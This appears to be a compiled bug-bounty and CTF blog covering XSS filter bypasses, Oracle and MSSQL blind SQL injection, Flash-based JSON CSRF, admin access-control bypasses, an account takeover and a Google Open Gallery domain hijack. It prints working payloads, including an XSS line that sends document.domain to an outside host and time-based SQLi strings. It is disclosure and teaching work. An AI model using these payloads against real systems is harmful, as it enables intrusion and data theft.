I had fun with this XSS

Recently, in a private bug-bounty program I've found an interesting XSS vulnerability where the vulnerable endpoint limits the use of special characters. The user's input got reflected in the following:

<script type="text/javascript">
            window.onload = function () {
                window.location = 'https://url/reflected-point'

It looks like a straightforward XSS vulnerability when it was possible to break the tag using the ' character. Generally, the following payload '-alert(0)-' should work, but unfortunately, the actual challenge just started.

I found that most of the special characters were filtered (as in removed from the content when they were inserted). After a minimal fuzzing, the following special characters were the only accepted and reflected via this endpoint:

, . = : @ # ? * %

I tried to confirm if this is still possible through experimenting on JSFiddle. I noted that instead of using - , we can use the comma sign too when the reflection point is the same as the codes mentioned above. Means, ',alert(0),' is actually possible.

Now, it is not done yet. Remember that parentheses are not allowed.

Thus, I tried to look for any ways to execute an alert box as it is an easy way to demonstrate an XSS vulnerability. However, none of the ways that seem possible using the allowed special characters in this situation..except, location=name

I started focusing on that and at the same time asking ideas from people in Slack and my CTF team. I found out through JSFiddle, the following payload seems possible. 

',document.location='javascript:document.domain','

Done? Not yet. It was a success when I tested in the JSFiddle, but it was not when tried on the vulnerable website. This was because it will throw 500 error message when it detects if the request contains the unpermitted strings match like javascript:document.*

The further test found that I can redirect the request through window.location=http://url. At first, it was a fail as // characters are not allowed. However, the request still gets redirected without the slashes. window.location=http:url was possible 

At this stage, it already enough to prove the JavaScript execution. But from the triager/customer perspective, this seems just like an open redirection vulnerability. I still need to show that it is possible to exfiltrate the content to the external domain. Easy? Yeah, the following payload should work basically..

',window.location='http:my-url/'%2bdocument.domain%2b,'

But no..it was not working..since the payload contains / again. Thus, there's another bummer. Until my CTF team member, johnburn, told me to simply parse the content that I want as the subdomain instead. Similar to exfiltrating data via DNS. Honestly, I have never tried that. But..it actually works!

So the final payload was:

',window.location='http:'%2bdocument.domain%2b'.my-burp-domain','

And of course, it got accepted :). It is always great to learn something new and share with everyone. If there's another way that should work, feel free to share it with the community.

Tricky Oracle SQL Injection Situation

Recently I learnt few new stuff when solving SQL Injection found during pentest and also bugbounty. One of the new technique that seems new to me is the one that I learnt from my master, pokleyzz. This injection was found in a recent bugbounty program and the actual path/parameter were replaced.

The injection was found on the "idNumber" parameter of the following endpoint

/foo/?theName=YAP&idNumber=248001[here]

Common payloads were performed on this target and initially, I found the following payloads were working to identify TRUE/FALSE condition

/foo/?theName=YAP&idNumber=248001'+AND+'1'='1 TRUE
/foo/?theName=YAP&idNumber=248001'+AND+'2'='1 FALSE 

and also able to use pipe operator too

/foo/?theName=YAP&idNumber=248'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'8'||'001 TRUE
/foo/?theName=YAP&idNumber=24'||'X'||'001 FALSE

With these conditions, I was able to narrow down the database used by this application to Oracle, PosgreSQL, IBM DB2 or Informix.

At first, I thought this can be done using the same technique that I know:

See : https://blog.yappare.com/2012/04/advance-oracle-blind-sql-injection.html

However, the CASE() was not working. After few attempts, I stopped to figure out on using CASE(). Next, this technique was tried:

See: https://blog.yappare.com/2017/03/blind-sql-injection-in-erim-not-sure.html

No joy. Dead end. After almost two days of trying, I give up doing it myself and ask helps from few friends.
No luck. I tried my last option, pokleyzz. In just less than an hour, he showed me the technique that can be used.

/foo/?theName=YAP&idNumber=248'||<bruteforce any known SQL functions here>||'001

As a result, I found "rownum" was accepted and this indicates the DBMS is Oracle. To reconfirm, the following was queried:

/foo/?theName=YAP&idNumber=24800'||rownum||'

The above payload result in the website displayed list of "theName" product that starts with "idNumber" 24800

Interesting! Now how we can at least extract data from this injection? Another blocker was identified. It seems the application filtered/replaced the following characters

_ ( ) + . whitespaces

While I found this seems another dead end, pokleyzz showed another brilliant way to extract the data using the following payload:

 /foo/?theName=YAP&idNumber=248'||<bruteforce all column_name here>||'001 - We found few column names which one of it was "username"

Then final step was:

 /foo/?theName=YAP&idNumber=248001'and''||username||''like'<bruteforce-character>%

 I ran the Intruder on the above attacking point and voila, got the username 😼

As always, pokleyzz is the best master I have. 💻

Bye.

BUG-000114489 : SSRF in Portal for ArcGIS Leaking NTLMv2 Hashes

This was found and responsibly disclosed to the ArcGIS team last year. Issue was given BUG id 000114489 and patch has been released.

TL;DR

The attacking point can be captured from ArcGis Portal that located at /home/webmap/viewer.html

$1800 in less than an hour.

Sometimes, visiting an old program is gold.

October, 2017. I just finished writing up my report and while waiting the report ready for QA process, I visited one of my favourite program in Bugcrowd, Indeed.com

I noted that the program went public and also the reward had been increased. Since it went public plus with a wide-scope targets, as I'm expecting, the vulnerabilities found must be huge.

That was not an issue at all. If you guys following the tips given through my presentations in Levelup, ChCon or Bsides NZ, one of the way that I usually will look at is 'less-participant' target. As the targets are inclusive *.indeed.com/*, I tried to find any available browser's extension by Indeed.com..There's one for Chrome :)

Not really expert in identifying vulnerability in browser's extension, so I poked around people in bugbountyforum.slack.com asking for some guides.

Installed the extension in Chrome. Checked on the scripts used in this extension, not many joys. Turned my BurpSuite to see how's the extension being used and found that it is possible for a straight forward self-stored xss which will be executed under jobox.indeed.com domain

POST /api/jobApplication? HTTP/1.1
Host: jobox.indeed.com
Connection: close
Content-Length: 117
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.62 Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: INDEED_CSRF_TOKEN=token

{"status":"WISHLIST","url":"javascript:alert(0)","notes":"test","jobTitle":"test","companyName":"texst","userId":"1"}

Self-XSS might not be rewarded. So, one of the way to exploit it is via CSRF attack. What a luck, the CSRF-Token was not properly validated. Knowing the CSRF was not effective plus the response was in JSON, I remembered that there's a blog mentioned it is possible to perform CSRF attack even the response is in JSON - https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/. Also, thanks to the tool created by sp1d3r, the exploiting process was easier.

Put all of them in one HTML request,

<embed src='http[s]://[yourhost-and-path]/test.swf?jsonData={"status":"WISHLIST","url":"javascript:alert(document.domain)","notes":"test","jobTitle":"test","companyName":"test"}&php_url=http[s]://[yourhost-and-path]/test.php&endpoint=https://jobox.indeed.com/api/jobApplication?></embed>

The reward was spent for my holiday trip in December..all thanks to the 1 hour effort spent in the program :D

Thanks.

Accidentally typo to bypass administration access

A new post from me to kill some times.

This was from an old invited private program in one of the bugbounty platform. This program offers $15,000 in total. There were several targets given, but most of them were limited in term of functionalities and forms.

One of the application in scope attracted me as it responded differently if viewed in a different browser's platform. Which means, you will only allowed to access their mobile site if the application detected your user agent is coming from Mobile. This application just consist of few functionalities such as

• query for available *item*
• view for available schedule
• information of the certain *item*
• no login

Based on the above functionalities, this seems like a common website that provides with a general information of their product/items. I spent few days looking on their Desktop Website and found few XSS. Looking at the source page of the website, I've noticed there's a script that contain a hyperlink to a mobile site. It looks something like below:

 <script type="text/javascript">
   var attr = "href";
   var value = "/mobileapps";
   elem.setAttribute(attr, value);
</script>

However, I was not able to access it directly using Desktop browser. I tried to change my user agent into Android's string, it worked!

Now I'm in their mobile site. Found another few XSS. Good. Considering the current findings, I'm probably will be rewarded up to $2000 in total. Good enough. But then, something is bothering me where from my Burp's request, there's a 302 redirect response whenever the Burp's Spider tried to access /admin path. Weird. I tried to check if there's any JS files that I can use to bypass this thing as what I did like in my previous blogpost.

No success. sadpanda.

But then, during the testing I've mistakenly typo'ed the /admin into /Admin (This happen regularly since using Macbook. The keyboard quite small for my finger's size)
To the surprise, due to that typo, I was able to access into the administration page. What a magic. It seems there was a weak configuration at their backend which only restrict access for /admin BUT not if the word contain at least one capital letter. /Admin, /aDmin/, /ADMIN all of these words can be used to bypass the check.

Now I'm in administration page. There were lots of functionalities inside and ALL of them were vulnerable. Reflected and Stored XSS, SQLi, CSRF, and etc. Submitted all of them. Out of $15000, 70% was mine :)

Lessons:

1.  Do not forget to test in mobile environment 
2.  Do not forget to test target's mobile site
3.  Do not give up if the application looks really simple, there's probably a hidden administration page in it
4.  Look on the application's response. If weird, try to bypass.

Till next time.
Cheers.

From JS to another JS files lead to authentication bypass

This was found in a private bug bounty. The scope is limited to a few of features that available to the public. Based on the previous reported issues (5 bugs submitted by others so far when I was initially invited), seems it is hard to find a new issue. It also mentioned in the bounty details that

If you manage to get into Administration page, report immediately and do not pivot or further testing in /admin

However, there is an administration page which was restricted to unauthenticated and unauthorised users. Browsing to /login or /admin will redirect us to https://bountysite.com/admin/dashboard?redirect=/

Bruteforcing the login page probably an option but I'm not a fan of bruteforcing a login page. Looking at the source page, nothing much useful. I started looking on the application's structure. It seems the JS files were located in few directories such as /lib, /js, /application and etc.
Interesting.

I run the BurpSuite and run the Intruder to identify any accessible JS files in these directories. Set the path of attacking/fuzzing points at https://bountysite.com/admin/dashboard/js/*attack*.js 
Yep, make sure you didn't forget the .js so we will receive the 200 response if the file is accessible. Interesting, again. Because one of the accessible JS files was /login.js

Accessing the JS file https://bountysite.com/admin/dashboard/js/login.js redirect me to the Administration page :) But, I have no permission to view it. Only partial of the interface can be seen.

SadPanda.jpg

But I didn't stop at here. It seems weird why the page is loaded as an HTML while I browsed to a .js file? After playing around, I noticed that the actual reason that allowed me to get into this administration page was because the *login* word. Yes, as long the request after /dashboard/ contains a word with the string of *login* (exception to 'login', this will only redirect me back to the login page.), will allow us to get into this Administrator's interface, but without a right authorisation.

Further tests were performed from this limited Administration's interface. I looked into the source page and again, trying to understand the structures. From this interface, there are some other JS files that helps me to understand how an administrator can perform an action. Some of the action require a valid token. I tried to perform the action using the leaked token in one of the JS file, not working. The request will be redirect back to the login page. Looked on another JS file, I found there's another path that actually exist which served some content. It was /dashboard/controllers/*.php

Again, I run the Intruder to check if there's any other path which can be accessed from here. From the second Intruder attacks, I found few other paths that were exist but have no authorisation to access it. This was based on the 500 or 200 HTTP response.

SweetPanda.jpg

Back on the structures that I learnt in the first phase of recon, I found that these path were defined by /controllers and being used thru /dashboard/*here*/
However, another bump, directly accessing the path will redirect me to the login page. Seems the session checking quite tough over here. I was about to give up at this point and also sleepy too, but I want to try a last attempt. What if I used the same method to access the Administrative page to access and perform these actions?
Interesting, climax. :) I'm able to do so.

By browsing to the /dashboard/photography/loginx redirected me to the Admin Photography page with the full functionality that I can use.

Photography functions.

From here, I'm able to perform and access all the available actions and paths in  /dashboard/* which was full with other vulnerabilities such as SQLi, XSS, File Upload, Open Redirect and etc. However, I didn't attempt more on it as all of these issues were out of scope as what had been defined by the program to immediately report to them if the Administration's authentication was found broken. Also, additional notes that I noticed from the debug error enabled on the Administration's page, what made I'm able to access these Administration pages was because of the misconfiguration of the application at /dashboard/controllers/* lines where whenever a *login* found in the request, the application should redirect to the main login page, however, it was not working as it was intent.

It was a fun day indeed :)
I was rewarded with the Max amount of this program.

Chio.

Blind SQL Injection in er..I'm not sure what's the DBMS is.

A short blogpost from me.
Recently participated in a private bounty program and found an SQL Injection issue on one of the available parameter.

Injection looks like follow:

id=11) and (1=1

Normal eh? But SQLmap and few test cases from me could not determine the DBMS it used. High chance it is MSSQL, MS Access or Jet Database. This is from the observation seen on the patterns that can be seen. I've also asked people around to conclude this. Manage to provide a simple POC such as

id=11) and 1=1 and (1=1 

id=11) and 12 and (1=1

to show the existense of TRUE FALSE condition. But still, to convince the program owner, at least, we need to show it is possible to extract table_name or column_name. After a day of trying, I've figured out how to make the POC. How silly, it is so simple!

 id=11) and (<column_name>=<column_name>

So, if the column_name is exist, it'll be TRUE while if not exist, it'll be FALSE. How to automate it?
All we need to do is run our Burpsuite, send the vulnerable parameter to Intruder. Use Battering Ram attack type, and choose our own wordlist contain the list of column_name. I used the one in SQLmap common_columns.txt

Result as follow:

Easy!

Thanks

Bug Bounty : Account Takeover due to a Misconfiguration

First of all, I would like to thanks Bugcrowd's analyst especially beemo_bugcrowd for patiently updating the issue during the validation process.

Fiat Chrysler Automobiles announced their public bug bounty program through Bugcrowd in July 2016. More details can see it here: https://bugcrowd.com/fca
As always, I will try to poke around to see how many of the reports are currently being handled by the Bugcrowd for this program as if there are too many crowd, usually I will opt out from it. And the result, yes, there are lot of them especially XSS and CSRF issues. That was the reason these two issues immediately excluded to allow analyst team to filter out them.

I'm targeting Mopowerconnect.

Mopowerconnect

Due to that, I try to look on the other angle and I noticed something which is weird in my view which is the way account was created in Mopowerconnect (was in scope but now excluded). Why? Please refer the figure below:

Authentication process

*this is just based on my observation and own hypothesis during the testing.

To detail the figure above:

1. When a user creates an account at Mopowerconnect, the request will be sent to Chrysler to generate the authorisation and then at the same time will create another independent account which only be used by Sharepoint.
2. Means, if you create User1 at Mopowerconnect, Chrysler will processing it and provide you with the authorisation for Mopowerconnect as User1, and at the same time it will create another account for you which is to be used in Sharepoint, assume as UserS1.

How do I know there's a Sharepoint at the backend? This is because there's a misconfiguration which allow an attacker to directly access that framework through URL such as /_catalogs/masterpage/etc/etc . I first submit the misconfiguration issue, it was a dupe. Then I went to look around this Sharepoint pages to understand why it exist. There I noticed that, I'm browsing the Sharepoint pages using UserS1 account, not User1. 

Sharepoint UI

I went back to check on my Burp HTTP history to look on all of the responses. Then I found the request and the parameter that supply my another account, UserS1. It was weird to see there are two types of ID on the request.

Request made at Chrysler

 Then I created another testing account to double verify my hypothesis. And it is proven. At this point, I still can't think what's the best scenario I can do. Then, the idea came in. What if I try to reverse the process? Reset the password :)

The request when resetting the password looks similar. Thru Mopowerconnect UI you request to reset the password, then Chrysler will process it and send the information to the Sharepoint to be updated. Interesting.

Again, I reset the password but this time I've modified one of the value before Chrysler send it to the Sharepoint which is PRF_UID. I changed it into my second account and voila! The account was compromised :)

Combining with the issues due to the misconfigured access to the Sharepoint, I'm able to enumerate list of PRF_UID belongs to another users including the admin. And yes, I can takeover the admin's account as well.

Submitted to Bugcrowd, and it is not smooth as I assume because the request was actually being made at Chrysler domain which is out of scope. I knew that but since the issue is considered as Critical, I kept on insist them to forward the report to the client and let FCA themselves decide on this. Two different analysts reviewed the report and marked as Out of Scope. I was at the point to give up until I made a decision to email the issue to the FCA team myself. I used the Bugcrowd's support medium to deliver the message to the FCA team and also did ping another technical team from Bugcrowd to re-review it.

A week later, 

FCA team replied

 At a month later, the issue was fixed!

Fixed!

Thanks!

Drag Drop XSS in Google ;)

Hi,

It was started with a tweet from Dr. Mario here https://twitter.com/0x6D6172696F/status/558346300790276096

 

Trying to understand the issue, I read on the comments and there's someone mentioned it is possible due to different format copied from OpenOffice such that. And Dr. Mario share his research on this and it is really interesting. http://www.slideshare.net/x00mario/copypest

Then, end of last year, noticed there's an XSS discovered by Harry in Google Docs using the drag drop technique. And due to improper validation HTML code read by Google Docs, the XSS can be executed http://hmgmakarovich.blogspot.my/2015/11/stored-xss-in-google-docs-bug-bounty.html 

I tried to look around Google Docs. Harry's submission did resolved, however, there's a module in Google Docs/Sheets/Drawing/Presentation where it allow a user to create a drawing. This module however does not fix yet.

Create a simple HTML file with our XSS payload, drag and drop into the drawing module, and the XSS is there :)

What make it interesting is that, I did take a look on the response given by the Google whenever a valid image or other different payload used. There were differ!

The drawing module was actually only looking for a valid image where it can come from user's computer or external source. If the source contain a valid image, the image then will be uploaded and properly embedded. If the image is broken, then it is broken. This is where the XSS payload below take in place.

<img src=nonvalid.jpg onerror=alert(0)>

This is because, the payload will execute if the source is broken (error). I tried using another payload such as onload,onmouseover etc, the XSS would not working! So here's a challenge. How we are going to make sure the image is loaded on victim's side, but once the victim drag into Google Docs, the image then will broken? Simple thought I used the valid image that exist in most of Windows users computer..yes..in C:\Users\Public\Pictures\Sample Pictures :)

 However! This submission was submitted by another researcher and this became a duplicate..but..

It was not in Google Images :)

Thanks!

A Quite Rare MSSQL Injection

Hi,

Going to share a vulnerability that was discovered last year (for bounty program) that for me, quite a rare one and it was the first that I had found since my involvement in pentesting world.

The website was using Microsoft SQL Server and one of the parameter was vulnerable to Blind SQL Injection attack. How did I know? Obviously by triggering the TRUE/FALSE condition.

http://bounty/yadayada.asp?id=8888'+AND+'1'+LIKE+'1 --> page will be loaded normally.

http://bounty/yadayada.asp?id=8888'+AND+'2'+LIKE+'1 --> page will be blank. 

Nothing fancy here. Just a normal/common testing to check on the vulnerability. The problem came after that where:

1. It is only shows the SQL Injection behaviour in Blind Attack
2. Scanner/SQLMap was not working
3. Seems it was using Stored Procedure method (I not sure, I'm noob here)

Few ways tried but none were successful in order for me to provide a working POC to the program. Further analysis I noticed that, the application was actually only able to response integer value with the user's privilege in used.

Had no idea on that until found a post by v1d0q in https://rdot.org/forum/showthread.php?t=826

The last query shown was new to me on that time, but surprisingly it was working!

http://bounty/yadayada.asp?id=8888'+AND+(@@TEXTSIZE>@@LANGID)+AND+'1'+LIKE+'1 --> page will be loaded normally.

http://bounty/yadayada.asp?id=8888'+AND+(@@LANGID>@@TEXTSIZE)+'1'+LIKE+'1 --> page will be 
blank

Further read I found that what I was actually trying to query is an existing Transact-SQL inside a MSSQL where its return types is either integer or smallint. And usually, these return types already have their own value.

Such as an example:
@@LANGID usually will be 0 for default (English language)
@@TEXTSIZE can be bigger than 1000

Didn't stop at there, I tried using another Transact-SQL to ensure my result is not a false-positive. And most of the query did the positive job :)
Submitting this limited POC to the program's owner, luckily they view and confirm the issue at their backend as well. Rewarded and satisfied!

Here are examples performed on a testing server.

Disclaimer: I still don't know the exact explanation behind this issue. Need to locate some times and do some research in future :)

References:
https://rdot.org/forum/showthread.php?t=826
https://msdn.microsoft.com/en-us/library/ms186266.aspx
https://msdn.microsoft.com/en-us/library/ms177687.aspx
http://www.sqlservercurry.com/2010/11/change-default-language-for-sql-server.html

Referrer Leakage from HTTPS to HTTPS

From my recent bounty program participation, I failed to find any awesome bug for the whole bounty period. Requiring me to have an iOS9 to perform the full application test also one of the disadvantage as I don't own any Apple product :(

Then, I tried to look for any low hanging fruits on the application. Gotcha! HTTP Referrer Leakage!
When the password reset token provided to the user - after they reset - usually it'll come in a Hyperlink format where there are two ways for the user to use it. Either directly click on it or safely copy and pasted it in the browser.

I choose the second option in order to demonstrate the reset token is leaked to another external URL. And as can see in the figure below, the reset token actually being sent to the newrelic.com website.

Submitted this issue to the program's owner and the analyst responded that this is an issue that in 'Won't Fix' category. The first reason I obtained was it is because the referrer leaked from HTTPS to another HTTPS.
This is what actually hit something on my mind. I never thought about this before. Is the HTTP Referrer will not be logged by the external URL if both are using HTTPS?
With a help from my friend, we tried to simulate the situation. There are two cases. One from HTTPS to HTTP, the second one from HTTPS to HTTPS.


Doing some research  and found that, it is NOT!

Test Cases

HTTPS to HTTP will not leak the referrer

HTTPS to HTTPS will leak the referrer

By summary:

• HTTP Referrer will not be leaked to another URL if it is transmitted from HTTPS to HTTP. 
• HTTP Referrer will  be leaked to another URL if it is transmitted from HTTPS to HTTPS. 

So I get back to the bounty program to ask for review the submission again. Another staff replied with a better explanation why they consider this as a 'Won't Fix' issue. The reason are any of these:

(1) the impact is too low to qualify for a reward 

(2) a prerequisite to exploit the issue is heavy social engineering 

(3) a prerequisite to exploit the issue is being a man-in-the-middle or having theoretical access to a separate restricted resource

 So I believe the 1st reason is the suitable for this situation as the reset token in this case only one-time usable. The situation for an account to get reset via this issue is really rare by looking on the likelihood of it to happen. Furthermore, MiTM attack would not help in this case as the request is transmitted over SSL.

Nevertheless, no harm to submit the issue as they're are certain program that accepting this issue as a minor flaw and got rewarded.

• https://hackerone.com/reports/738
• https://hackerone.com/reports/13557
• https://hackerone.com/reports/5691
• https://hackerone.com/reports/47140

Reference(s)

1. https://isc.sans.edu/diary/When+does+your+browser+send+a+%22Referer%22+header+(or+not)%3F/16433
2. http://smerity.com/articles/2013/where_did_all_the_http_referrers_go.html
3. http://stackoverflow.com/questions/323200/is-an-https-query-string-secure
4. https://www.ietf.org/rfc/rfc2616.txt

Using HEAD to optimize Time Based SQL Injection

Was conducted a application pentest on a client site and found that the website is vulnerable to SQL Injection. The DBMS is MS SQL Server.

The problem:

1. There's a some sort of WAF or keyword filter looking for common SQLi payload such as 1 or 1=1 etc.
2. Only successful test was via Time Based, but the page doesn't load with a consistent time pattern which  affects the result. 
3. Automated tools doesn't help.
4. Burpsuite able to exfiltrate the IP address via DNS request but I have no external domain to test it manually. (eventually after found a way to exfiltrate via DNS, the result obtained seems different from Burpsuite)

Solution:

• My friend suggesting me to use HEAD then to ignore the content as it is the reason why the page doesn't have a consistent time response.
• Doing a some read on it and it works!

Change the method into HEAD at Burpsuite

Response now have a consistent pattern

• Time to run SQLMap then. So, is there an option to use HEAD in SQLMap? Yes it is. --null-connection
• However, SQLMap seems can't recognize it and the scan went failed. Probably I used a wrong options.
• Now, how we can we obtained the result faster and reliable without performing it manually. Burpsuite have the answer :) 
• We can use the Burpsuite to dump the information via Time Based SQLi technique. 

•  What we need to do just :

1. Change our Burpsuite's Timeout response to a value before our payload's value end. Example we want to delay the request for 10 seconds, so the value inside our Burpsuite should be 9 seconds.
   
   
   
2. Set our intruder and make sure the request still via HEAD.
3. Payload will be similar like 1;1'+if+((substring((@@version),§1§,1)))='§a§')+waitfor+delay+'0:0:10'—
4. Use Cluster Bomb for the Attack type in our intruder so we can have two different attack payloads in Burpsuite.
5. 1st payload type will be configured to use Number while the 2nd payload type should be alphanumerics and depends on you either to include special characters or not.
6. Run the intruder :)
7. We will have few results that have no status and length. That's actually the characters we are looking for. It became like that because the page will responded to TRUE and delay for 10 seconds. As we already configured to let our Burpsuite to have a timeout at 9 seconds, thus there'll be no result on it.
8. Organized the result from our intruder and we can see our desire output :)

Thanks!

References :

• https://funoverip.net/2010/12/blind-sql-injection-detection-with-burp-suite/
• https://depthsecurity.com/blog/blind-sql-injection-burpsuite-like-a-boss
• http://www.wisec.it/sectou.php?id=472f952d79293
• https://github.com/sqlmapproject/sqlmap/wiki/Usage

Whitelisting goes wrong

This summary is not available. Please click here to view the post.

UTPHax'14 - Writeup for Audio Stego Round 5

Its a great experience handling another hacking contest in a local university recently. As usual, there will be some questions that the contestants were not able to answer it and they keep on asking how the hell are it can be solved?

Well, here's one of the way for this challenge :)

Question : Chill out the pressure and listen to the rhyme. Enjoy! 
Participant provided with a WAV where when they play it will hear a nice piano rhythm. However, it seems there's something buggy at the middle of the play.

Hint given 

By looking at the hint, we can know that this sound generated from an online tool which can be manipulated using our keyboard.
Simple google for "piano generator" will lead us to this website http://www.gootar.com/piano/ and yes, this is the right URL :)

By default, there's already a piano tone available on the URL and if we play it, woh! it is the similar sound with our question WAV audio.right?!

Open up our audacity and record the sound. Open the original WAV and compare it with our question WAV. It will looks like below.

From the analysis, we can say that the starting and ending point is just like what I squared out in the picture above. So let us see what is actually the key that was used before our flag located is.

Yerp. you are right. ; symbol. So what we should do next? Looking back at our keyboard based piano, we can know that each tone have different frequency (high,high peak,low,etc) as described in the picture below, I divided it into 4 different layer of frequency.

If we hear the sound where our flag located is, the first tone actually belong to the 2nd layer. So back again to the URL, and 1 by 1 we test to capture the sound.
Start the tone with ; then continue with the character in the 2nd layer. As example,
;]_;[_;p_;o -continue yourself- do note that _ symbol actually just a rest tone. so we can hear the tone much clearer.
Once done for that, again record and compare it using audacity. It will look like below.

Aha! we can see some similarities between the sound we created just now with the original question WAV (from the starting point of the flag).
So the flag either start with ;p or ;o

Let us pick p and proceed with a new tone. Hear it back again, and we can say the tone quite low and belong to 3rd layer.

Go to URL, and start recording the tone. 
;p;_;pl_;pj_;ph_;pg -blalala continue yourself-

Compare it again with our question WAV.

Auw yeahh!! we are on the right track! Then? just continue the same step until you finish the line. once done you'll get the flag :)
flag is pl4yme

That's all. Thanks!

I hate you, so I pawn your Google Open Gallery

Hi, long time no see. Quite busy with works and probably will not able to update too much in future.

Going to share with you guys another bug I found in Google.
The bug as shown below.

Google is currently open service port 80 and 443. These ports are exposing what kind of service they're using. This bug worth $10k. Ok. Just a joke. Lets be serious.

Last time I found a bug in one of Google's service, Open Gallery. Using this service, it allows a user to share their exhibition art stuff (sorta) and each of the exhibition will be given a specific URL at *.culturalspot.org domain. And, this domain cannot be changed once we saved the name.

I created two different account for Open Gallery.

1. jablor.culturalspot.org (using attacker@gmail.com) -
2. test333.culturalspot.org (using prakhar's_motorbike@gmail.com)

Both of the current state for its exhibition page as shown below.

jablor.culturalspot.org

test333.culturalspot.org

 

 

 

 

 

 

 

 

 

 I have some revenge at prakhar's_motorbike@gmail.com, and luckily this guy currently selling his arts using Open Gallery (test333.culturalspot.org). Lets pawn his Open Gallery!

What I'm doing below shows that

1. I run up my Burpsuite in my account and try to save my current setting.
2. I trapped the request during the saving process and change my domain from jablor.culturalspot.org into my target's URL, test333.culturalspot.org
3. What happen? His Open Gallery stuff changed into mine and his domain owned by me. He will see his domain as my content and the content itself will be controlled by me. :)

Trigger up Burp and change the domain

My original culturalspot will be non-exist as its already changed into victim's URL

Victim's culturalspot with my content :)

That's all guys. Have fun.
This was fixed by Google Team :)